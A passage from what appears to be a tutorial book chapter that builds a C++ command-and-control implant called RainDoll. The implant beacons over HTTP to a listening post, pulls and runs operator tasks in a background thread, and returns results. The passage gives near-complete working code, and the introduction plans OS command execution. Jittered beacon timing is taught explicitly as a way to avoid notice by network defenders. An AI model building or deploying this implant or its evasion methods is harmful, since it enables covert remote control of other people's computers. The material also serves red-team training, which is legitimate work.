Chapter 3: Basic Implant & Tasking

Building a basic implant in C++ and how to add new tasks.
building-c2-implants-in-cpp-master.zip
230KB
Binary
Book Source Code

Introduction

We'll be building a basic implant called RainDoll with some simple tasking in this chapter. The tasks will be the following:
  • Ping: When receiving a ping message, respond back with a pong message.
  • Configure: Set implant specific options such as running status and dwell time.
  • Execute: Run OS commands provided by the user.
  • ListThreads: List the threads in a given process.
This implant will be talking to the HTTP listening post (Skytree) we built in the previous chapter. The implant source code is heavily based on a project by Josh Lospinoso and there are only minor modifications to the one authored by Josh. It was released as part of his talk on building implants with modern C++ called "C++ for Hackers" (https://vimeo.com/384348826). I highly recommend giving it a watch and checking out the GitHub repository. The talk is very easy to understand as a beginner and you'll learn some neat techniques about the modern C++ language along the way. If you're interested in C++, consider checking out his book on the subject called C++ Crash Course (https://nostarch.com/cppcrashcourse).

Prerequisites & Initial Files

For development, we'll be working on a Windows 10 64-bit system. This project will leverage a couple different libraries, including Boost. If you've never heard of Boost, it's an excellent resource for speeding up development with a wide array of out-of-the-box solutions to common programming challenges. Why should you use Boost libraries? According to the Boost website:
In a word, Productivity. Use of high-quality libraries like Boost speeds initial development, results in fewer bugs, reduces reinvention-of-the-wheel, and cuts long-term maintenance costs. And since Boost libraries tend to become de facto or de jure standards, many programmers are already familiar with them.
We'll also be using C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). These will help us easily send HTTP requests with C++ and handle JSON without a lot of hassle. Lastly, we're going to be making heavy use of Visual Studio 2019 and you'll want to ensure that it's installed/configured to use the "Desktop development with C++" workload (for help with getting this all setup, see the link here).
So without further ado, let's begin! The above mentioned libraries can be installed using the package manager vcpkg (for Quick Start instructions on Windows, see the link here). Ensure that it's downloaded/bootstrapped somewhere like C:\dev\vcpkg and then run the following commands in an elevated PowerShell prompt:
Integrate vcpkg with Visual Studio 2019
.\vcpkg integrate install
Install the required packages
.\vcpkg install boost-uuid:x64-windows
.\vcpkg install boost-property-tree:x64-windows
.\vcpkg install boost-system:x64-windows
.\vcpkg install cpr:x64-windows
.\vcpkg install nlohmann-json:x64-windows
The installation of the Boost libraries in particular will probably take a while, so grab a tea or coffee while you wait. When the prerequisites are installed, we should be able to use them in our Visual Studio project successfully. Alternatively, Boost can be installed manually using the Getting Started guide and JSON for Modern C++ can be downloaded as a header here. C++ Requests can currently be built with vcpkg or Conan, as outlined here.
Let's begin creating our implant by opening up Visual Studio 2019 and creating a Blank Project named "RainDoll", ensure that the language used is C++17. This can be verified by looking at the following option: RainDoll Property Pages Window > General > C++ Language Standard > ISO C++ 17 Standard
Create a file and call it main.cpp in the Source Files folder. We'll start by specifying the details of the listening post we built in the previous chapter:
main.cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include <stdio.h>
int main()
{
// Specify address, port and URI of listening post endpoint
const auto host = "localhost";
const auto port = "5000";
const auto uri = "/results";
}

Implant Project Headers

Now, we're going to get to work on defining the details of our Implant object, starting with the headers. Create a new file called implant.h in the Headers Files folder in the Solution Explorer and add in the following code:
implant.h
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include "tasks.h"
#include <string>
#include <string_view>
#include <mutex>
#include <future>
#include <atomic>
#include <vector>
#include <random>
#include <boost/property_tree/ptree.hpp>
struct Implant {
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();
private:
// Listening post endpoint args
const std::string host, port, uri;
// Variables for implant config, dwell time and running status
std::exponential_distribution<double> dwellDistributionSeconds;
std::atomic_bool isRunning;
// Define our mutexes since we're doing async I/O stuff
std::mutex taskMutex, resultsMutex;
// Where we store our results
boost::property_tree::ptree results;
// Where we store our tasks
std::vector<Task> tasks;
// Generate random device
std::random_device device;
void parseTasks(const std::string& response);
[[nodiscard]] std::string sendResults();
};
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
We'll go one code block at a time and I'll explain the purpose of each section.
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();
First, we define the Implant constructor. Next, we declare a thread that will service our tasks so we can perform work asynchronously. Then, we define four public functions. We'll want to have a function that performs a beaconing loop and continuously communicates with our listening post. We also want to have functions that are related to configuring the implant such as setting how long the wait time is between beacons (dwell time) and the running status (on/off). Lastly, we want to have a function that will go through all the tasks received from the listening post and perform them on the target:
Once you've written the above code, we'll start defining the private variables and functions for the Implant object:
private:
// Listening post endpoint args
const std::string host, port, uri;
// Variables for implant config, dwell time and running status
std::exponential_distribution<double> dwellDistributionSeconds;
std::atomic_bool isRunning;
// Define our mutexes since we're doing async I/O stuff
std::mutex taskMutex, resultsMutex;
// Where we store our results
boost::property_tree::ptree results;
// Where we store our tasks
std::vector<Task> tasks;
// Generate random device
std::random_device device;
void parseTasks(const std::string& response);
[[nodiscard]] std::string sendResults();
We define the variables to hold the details about our listening post. Next, we're declaring a variable for the dwell time and a simple Boolean for the running status. The dwellDistributionSeconds variable uses exponential distribution to produce a variable number of seconds to dwell for, ensuring that the communication pattern does not appear as a constant rate. We don't want the time between our beaconing requests to be constant because this appears highly suspicious to an analyst who might be reviewing network communications. We then declare some mutex variables that we will use to ensure our asynchronous I/O for the tasks and results are not interacting with things when they aren't supposed to. We'll use a property tree from the Boost library to store our results and pass a Task type to the vector template. We haven't defined a Task type yet so this will have a red squiggle underneath it, but we'll add that later. The last private variable is for generating a pseudo-random number.
As for our private functions, we'll be declaring a function to parse tasks from the listening post response and a function to send task results to the listening post. You'll notice that we have an attribute called "[[nodiscard]]" attached to the "sendResults()" function. This attribute means that if the function return value is not used, then the compiler should throw a warning because something is wrong. We never expect to be in a situation were we make a call to send results and discard the return value. To learn more about the "[[nodiscard]]" attribute, see the resources here and here.
Outside of the Implant object, we'll also be declaring a function to make the HTTP requests to the listening post. It will take the host, port and URI as arguments along with the payload we want to send:
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
That's it for the implant header, now let's move on to defining our tasks. Create a new file within the Header Files section in the Solution Explorer and call it tasks.h. It should contain the following code by the time we're done:
tasks.h
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include "results.h"
#include <variant>
#include <string>
#include <string_view>
#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>
// Define implant configuration
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool isRunning;
};
// Tasks
// ===========================================================================================
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
};
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configure" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool isRunning;
};
// ===========================================================================================
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
First thing we do is define our Configuration object that will hold the settings for implant dwell time and running status:
// Define implant configuration
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool isRunning;
};
Next, let's define a simple ping task:
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
};
After the constructor, we provide a key to identify the task and call it "ping". We then declare a "run()" function that will return a Result object and mark it as "nodiscard". We haven't yet defined the Result object so this will appear with a red squiggle underneath. However, we'll add this in later so don't worry about it for now. Lastly, we specify a UUID to help track the individual tasks that are executing.
We'll work on the configure task next which will set the dwell time and running status:
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configure" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool isRunning;
};
After the constructor, we set a key to identify the task and call it "configure". The rest of the code is the same as the ping task, except that we have some private variables to store the mean dwell time value and the running status.
Lastly, we declare the function that will be responsible for parsing the tasks we receive from the listening post:
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
It's now time for us to fill out the contents of our last header file, go ahead and create a file named results.h and ensure it's created in the Header Files section. We'll be writing the following code:
results.h
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include <string>
#include <boost/uuid/uuid.hpp>
// Define our Result object
struct Result {
Result(const boost::uuids::uuid& id,
std::string contents,
bool success);
const boost::uuids::uuid id;
const std::string contents;
const bool success;
};
The results object will contain a UUID to keep track of each result we return, a string variable to hold the contents of the result and a boolean to signal if the task was successful or not. We're finally ready to open up the main.cpp file again and add in the rest of our main code below the listening post endpoint variables:
main.cpp
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nSystem error: %s\n", se.what());
}
As you can see in the code above, we instantiate an Implant object with the listening post details and then call the "beacon()" function to start the beaconing loop. The full contents of the main.cpp file should look like the following:
main.cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "implant.h"
#include <stdio.h>
#include <boost/system/system_error.hpp>
int main()
{
// Specify address, port and URI of listening post endpoint
const auto host = "localhost";
const auto port = "5000";
const auto uri = "/results";
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nSystem error: %s\n", se.what());
}
}
Phew, that was a lot of work to lay out the boilerplate for our implant! But, we're now ready to get into the nitty gritty details of our implant logic.

Implant Code

The code you should have up to this point can be found in the folder called "chapter_3-1". Now, create a new file and call it implant.cpp, ensure it's created in the Source Files section. We'll be writing the following code in this part of the chapter, don't worry too much if you don't understand all of it. I'll be reviewing each major section shortly:
implant.cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "implant.h"
#include "tasks.h"
#include <string>
#include <string_view>
#include <iostream>
#include <chrono>
#include <algorithm>
#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/property_tree/ptree.hpp>
#include <cpr/cpr.h>
#include <nlohmann/json.hpp>
using json = nlohmann::json;
// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload) {
// Set all our request constants
auto const serverAddress = host;
auto const serverPort = port;
auto const serverUri = uri;
auto const httpVersion = 11;
auto const requestBody = json::parse(payload);
// Construct our listening post endpoint URL from user args, only HTTP to start
std::stringstream ss;
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
std::string fullServerUrl = ss.str();
// Make an asynchronous HTTP POST request to the listening post
cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
cpr::Body{ requestBody.dump() },
cpr::Header{ {"Content-Type", "application/json"} }
);
// Retrieve the response when it's ready
cpr::Response response = asyncRequest.get();
// Show the request contents
std::cout << "Request body: " << requestBody << std::endl;
// Return the body of the response from the listening post, may include new tasks
return response.text;
};
// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }
// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
// Exponential_distribution allows random jitter generation
dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}
// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
// Local results variable
boost::property_tree::ptree resultsLocal;
// A scoped lock to perform a swap
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
resultsLocal.swap(results);
}
// Format result contents
std::stringstream resultsStringStream;
boost::property_tree::write_json(resultsStringStream, resultsLocal);
// Contact listening post with results and return any tasks received
return sendHttpRequest(host, port, uri, resultsStringStream.str());
}
// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
// Local response variable
std::stringstream responseStringStream{ response };
// Read response from listening post as JSON
boost::property_tree::ptree tasksPropTree;
boost::property_tree::read_json(responseStringStream, tasksPropTree);
// Range based for-loop to parse tasks and push them into the tasks vector
// Once this is done, the tasks are ready to be serviced by the implant
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
// A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
{
tasks.push_back(
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
setMeanDwell(configuration.meanDwell);
setRunning(configuration.isRunning); })
);
}
}
}
// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
while (isRunning) {
// Local tasks variable
std::vector<Task> localTasks;
// Scoped lock to perform a swap
{
std::scoped_lock<std::mutex> taskLock{ taskMutex };
tasks.swap(localTasks);
}
// Range based for-loop to call the run() method on each task and add the results of tasks
for (const auto& task : localTasks) {
// Call run() on each task and we'll get back values for id, contents and success
const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
// Scoped lock to add task results
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
results.add(boost::uuids::to_string(id) + ".contents", contents);
results.add(boost::uuids::to_string(id) + ".success", success);
}
}
// Go to sleep
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
}
}
// Method to start beaconing to the listening post
void Implant::beacon() {
while (isRunning) {
// Try to contact the listening post and send results/get back tasks
// Then, if tasks were received, parse and store them for execution
// Tasks stored will be serviced by the task thread asynchronously
try {
std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
const auto serverResponse = sendResults();
std::cout << "\nListening post response content: " << serverResponse << std::endl;
std::cout << "\nParsing tasks received..." << std::endl;
parseTasks(serverResponse);
std::cout << "\n================================================\n" << std::endl;
}
catch (const std::exception& e) {
printf("\nBeaconing error: %s\n", e.what());
}
// Sleep for a set duration with jitter and beacon again later
const auto sleepTimeDouble = dwellDistributionSeconds(device);
const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };
std::this_thread::sleep_for(sleepTimeChrono);
}
}
// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
// Listening post endpoint URL arguments
host{ std::move(host) },
port{ std::move(port) },
uri{ std::move(uri) },
// Options for configuration settings
isRunning{ true },
dwellDistributionSeconds{ 1. },
// Thread that runs all our tasks, performs asynchronous I/O
taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
First thing we'll do is write a function to perform the HTTP requests to the listening post. This is the section that makes use of C++ Requests (https://github.com/whoshuu/cpr) and JSON for Modern C++ (https://github.com/nlohmann/json). Ensure that both of these headers are loaded and available for use in the project before proceeding with writing the rest of the implant code:
// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload) {
// Set all our request constants
auto const serverAddress = host;
auto const serverPort = port;
auto const serverUri = uri;
auto const httpVersion = 11;
auto const requestBody = json::parse(payload);
// Construct our listening post endpoint URL from user args, only HTTP to start
std::stringstream ss;
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
std::string fullServerUrl = ss.str();
// Make an asynchronous HTTP POST request to the listening post
cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
cpr::Body{ requestBody.dump() },
cpr::Header{ {"Content-Type", "application/json"} }
);
// Retrieve the response when it's ready
cpr::Response response = asyncRequest.get();
// Show the request contents
std::cout << "Request body: " << requestBody << std::endl;
// Return the body of the response from the listening post, may include new tasks
return response.text;
};
We start out by setting all the constants for the HTTP request including the address of the server and port, the HTTP protocol version (1.1) and the request body that will hold our JSON payload. Next, we construct the full server URL out of the constants and make an asynchronous HTTP POST request to the server with our request body. The request body will be what holds the results of any tasks that were run previously. Finally, we store the response and return the response text to the function caller.
In the next section, we'll cover the functions needed for setting the implant running status and mean dwell time:
// Method to enable/disable the running status on our implant
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }
// Method to set the mean dwell time on our implant
void Implant::setMeanDwell(double meanDwell) {
// Exponential_distribution allows random jitter generation
dwellDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}
The setRunning() function takes a Boolean and sets the "isRunning" flag. This will tell the implant if it should continue running task code or if it should terminate and cease all functioning. The "setMeanDwell" function will be what tells the implant how often it should contact the listening post for instructions or how long it should "dwell" for. Again, it's generally a bad idea to have a consistent dwell time, because it sticks out like a sore thumb in network logs. If a defender looks into the network traffic and sees something beaconing out to the internet every 5 minutes like clockwork. That is the type of thing that will warrant further investigation. However, if like most traffic that's going out to the internet, your dwell time is less consistent, then you will blend in more. That's why, we use an exponential distribution to give our dwell time random jitter or variations in time that will appear random.
Next, we'll look at the function to send task results to the listening post:
// Method to send task results and receive new tasks
[[nodiscard]] std::string Implant::sendResults() {
// Local results variable
boost::property_tree::ptree resultsLocal;
// A scoped lock to perform a swap
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
resultsLocal.swap(results);
}
// Format result contents
std::stringstream resultsStringStream;
boost::property_tree::write_json(resultsStringStream, resultsLocal);
// Contact listening post with results and return any tasks received
return sendHttpRequest(host, port, uri, resultsStringStream.str());
}
We use the Boost Property Tree type to store the results in JSON format. We'll use a scoped lock to swap the values of the results into the local variable "resultsLocal". Using a scoped lock is necessary because we're doing things asynchronously and we want to ensure that we're not stepping on another thread's toes while we swap to get the task results. Finally, we format the result contents and pass the request body to the "sendHttpRequest" function for delivery to our listening post.
Now that we've got a function to send results, let's look at the "parseTasks" function to process implant tasks:
// Method to parse tasks received from listening post
void Implant::parseTasks(const std::string& response) {
// Local response variable
std::stringstream responseStringStream{ response };
// Read response from listening post as JSON
boost::property_tree::ptree tasksPropTree;
boost::property_tree::read_json(responseStringStream, tasksPropTree);
// Range based for-loop to parse tasks and push them into the tasks vector
// Once this is done, the tasks are ready to be serviced by the implant
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
// A scoped lock to push tasks into vector, push the task tree and setter for the configuration task
{
tasks.push_back(
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
setMeanDwell(configuration.meanDwell);
setRunning(configuration.isRunning); })
);
}
}
}
The first thing we do is declare a String Stream variable to hold the response with the tasks we got from the listening post. We read the response as a JSON message and then for each key-value pair, we push them into a vector called "tasks". We also call the setter functions "setMeanDwell" and "setRunning" for the implant configuration.
We're almost done going over all the code in the implant section, the last major thing we want to do is go through all the tasks and run the code to execute them in a dedicated thread. Let's talk about the "serviceTasks" function:
// Loop and go through the tasks received from the listening post, then service them
void Implant::serviceTasks() {
while (isRunning) {
// Local tasks variable
std::vector<Task> localTasks;
// Scoped lock to perform a swap
{
std::scoped_lock<std::mutex> taskLock{ taskMutex };
tasks.swap(localTasks);
}
// Range based for-loop to call the run() method on each task and add the results of tasks
for (const auto& task : localTasks) {
// Call run() on each task and we'll get back values for id, contents and success
const auto [id, contents, success] = std::visit([](const auto& task) {return task.run(); }, task);
// Scoped lock to add task results
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
results.add(boost::uuids::to_string(id) + ".contents", contents);
results.add(boost::uuids::to_string(id) + ".success", success);
}
}
// Go to sleep
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
}
}
We begin with a while-loop that runs based on the status of the Boolean "isRunning" flag that's set in our implant configuration object. Then, we declare a local vector variable for storing our tasks. After that, we have a scoped lock and we access the object that holds the tasks we got back from the listening post, then push them into our "localTasks" variable. Again, we use the scoped lock because we're performing these actions asynchronously and we want avoid stepping on another thread's toes. Finally, we use a for-loop to go through each task and call their declared "run" method. We place the returned "id", "contents" and "success" values into respective variables. We then enter a scoped lock to call the "results.add()" function and store our task results/success status. Then, we tell the thread to go to sleep for 1 second.
We can now put everything together and talk about the "beacon" function that runs a while-loop:
// Method to start beaconing to the listening post
void Implant::beacon() {
while (isRunning) {
// Try to contact the listening post and send results/get back tasks
// Then, if tasks were received, parse and store them for execution
// Tasks stored will be serviced by the task thread asynchronously
try {
std::cout << "RainDoll is sending results to listening post...\n" << std::endl;
const auto serverResponse = sendResults();
std::cout << "\nListening post response content: " << serverResponse << std::endl;
std::cout << "\nParsing tasks received..." << std::endl;
parseTasks(serverResponse);
std::cout << "\n================================================\n" << std::endl;
}
catch (const std::exception& e) {
printf("\nBeaconing error: %s\n", e.what());
}
// Sleep for a set duration with jitter and beacon again later
const auto sleepTimeDouble = dwellDistributionSeconds(device);
const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };
std::this_thread::sleep_for(sleepTimeChrono);
}
}
The loop we see in the above code runs based on the value of the "isRunning" variable. It's going to try and contact the listening post by sending any task results (or a blank JSON payload if there are no results). Then, it's going to parse the tasks received from the listening post inside the "serverResponse" variable. The "serviceTasks" thread that's running asynchronously will execute each task after they're parsed and stored. Finally, we sleep for a jittered amount of time so we aren't sending requests too regularly and can appear less suspicious in network traffic.
The last minor block of code to cover is the Implant constructor:
// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
// Listening post endpoint URL arguments
host{ std::move(host) },
port{ std::move(port) },
uri{ std::move(uri) },
// Options for configuration settings
isRunning{ true },
dwellDistributionSeconds{ 1. },
// Thread that runs all our tasks, performs asynchronous I/O
taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
The above code block is relatively straightforward, we're moving the listening post endpoint URL arguments from the user into variables and setting the initial options for the implant configuration. Lastly, we start the task thread that will run the "serviceTasks" function and actually run all of our task code.

Results Code

The portion of the code dealing with task results will be pretty short, go ahead and create a results.cpp file within the Source Files directory. The contents will be as follows.
results.cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "results.h"
// Result object returned by all tasks
// Includes the task ID, result contents and success status (true/false)
Result::Result(const boost::uuids::uuid& id,
std::string contents,
const bool success)
: id(id), contents{ std::move(contents) }, success(success) {}
As you can see, we are simply declaring the Result object that instantiates an id, result contents and the success status of the task. That's all for the results section, let's move on to the next portion of our implant, the tasks themselves!

Tasks Code

So far, we've gone over our implant logic and the results, we now need to define what each of the tasks do when they're requested by an operator from the listening post. Our finished tasks code will be created in a file called tasks.cpp within the Source Files directory. We'll go over each section in detail, so don't worry about trying to understand all of this right away:
tasks.cpp
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "tasks.h"
#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>
#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/ptree.hpp>
#include <Windows.h>
#include <tlhelp32.h>
// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter) {
// Get the task type and identifier, declare our variables
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
std::stringstream idStringStream{ idString };
boost::uuids::uuid id{};
idStringStream >> id;
// Conditionals to determine which task should be executed based on key provided
// REMEMBER: Any new tasks must be added to the conditional check, along with arg values
// ===========================================================================================
if (taskType == PingTask::key) {
return PingTask{
id
};
}
if (taskType == ConfigureTask::key) {
return ConfigureTask{
id,
taskTree.get_child("dwell").get_value<double>(),
taskTree.get_child("running").get_value<bool>(),
std::move(setter)
};
}
// ===========================================================================================
// No conditionals matched, so an undefined task type must have been provided and we error out
std::string errorMsg{ "Illegal task type encountered: " };
errorMsg.append(taskType);
throw std::logic_error{ errorMsg };
}
// Instantiate the implant configuration
Configuration::Configuration(const double meanDwell, const bool isRunning)
: meanDwell(meanDwell), isRunning(isRunning) {}
// Tasks
// ===========================================================================================
// PingTask
// -------------------------------------------------------------------------------------------
PingTask::PingTask(const boost::uuids::uuid& id)
: id{ id } {}
Result PingTask::run() const {
const auto pingResult = "PONG!";
return Result{ id, pingResult, true };
}
// ConfigureTask
// -------------------------------------------------------------------------------------------
ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter)
: id{ id },
meanDwell{ meanDwell },
isRunning{ isRunning },
setter{ std::move(setter) } {}
Result ConfigureTask::run() const {
// Call setter to set the implant configuration, mean dwell time and running status
setter(Configuration{ meanDwell, isRunning });
return Result{ id, "Configuration successful!", true };
}
// ===========================================================================================
The section we'll focus on first is the block that deals with parsing the tasks and calling the returning the proper task objects:
// Function to parse the tasks from the property tree returned by the listening post
// Execute each task according to the key specified (e.g. Got task_type of "ping"? Run the PingTask)
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter) {
// Get the task type and identifier, declare our variables
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
std::stringstream idStringStream{ idString };
boost::uuids::uuid id{};
idStringStream >> id;
// Conditionals to determine which task should be executed based on key provided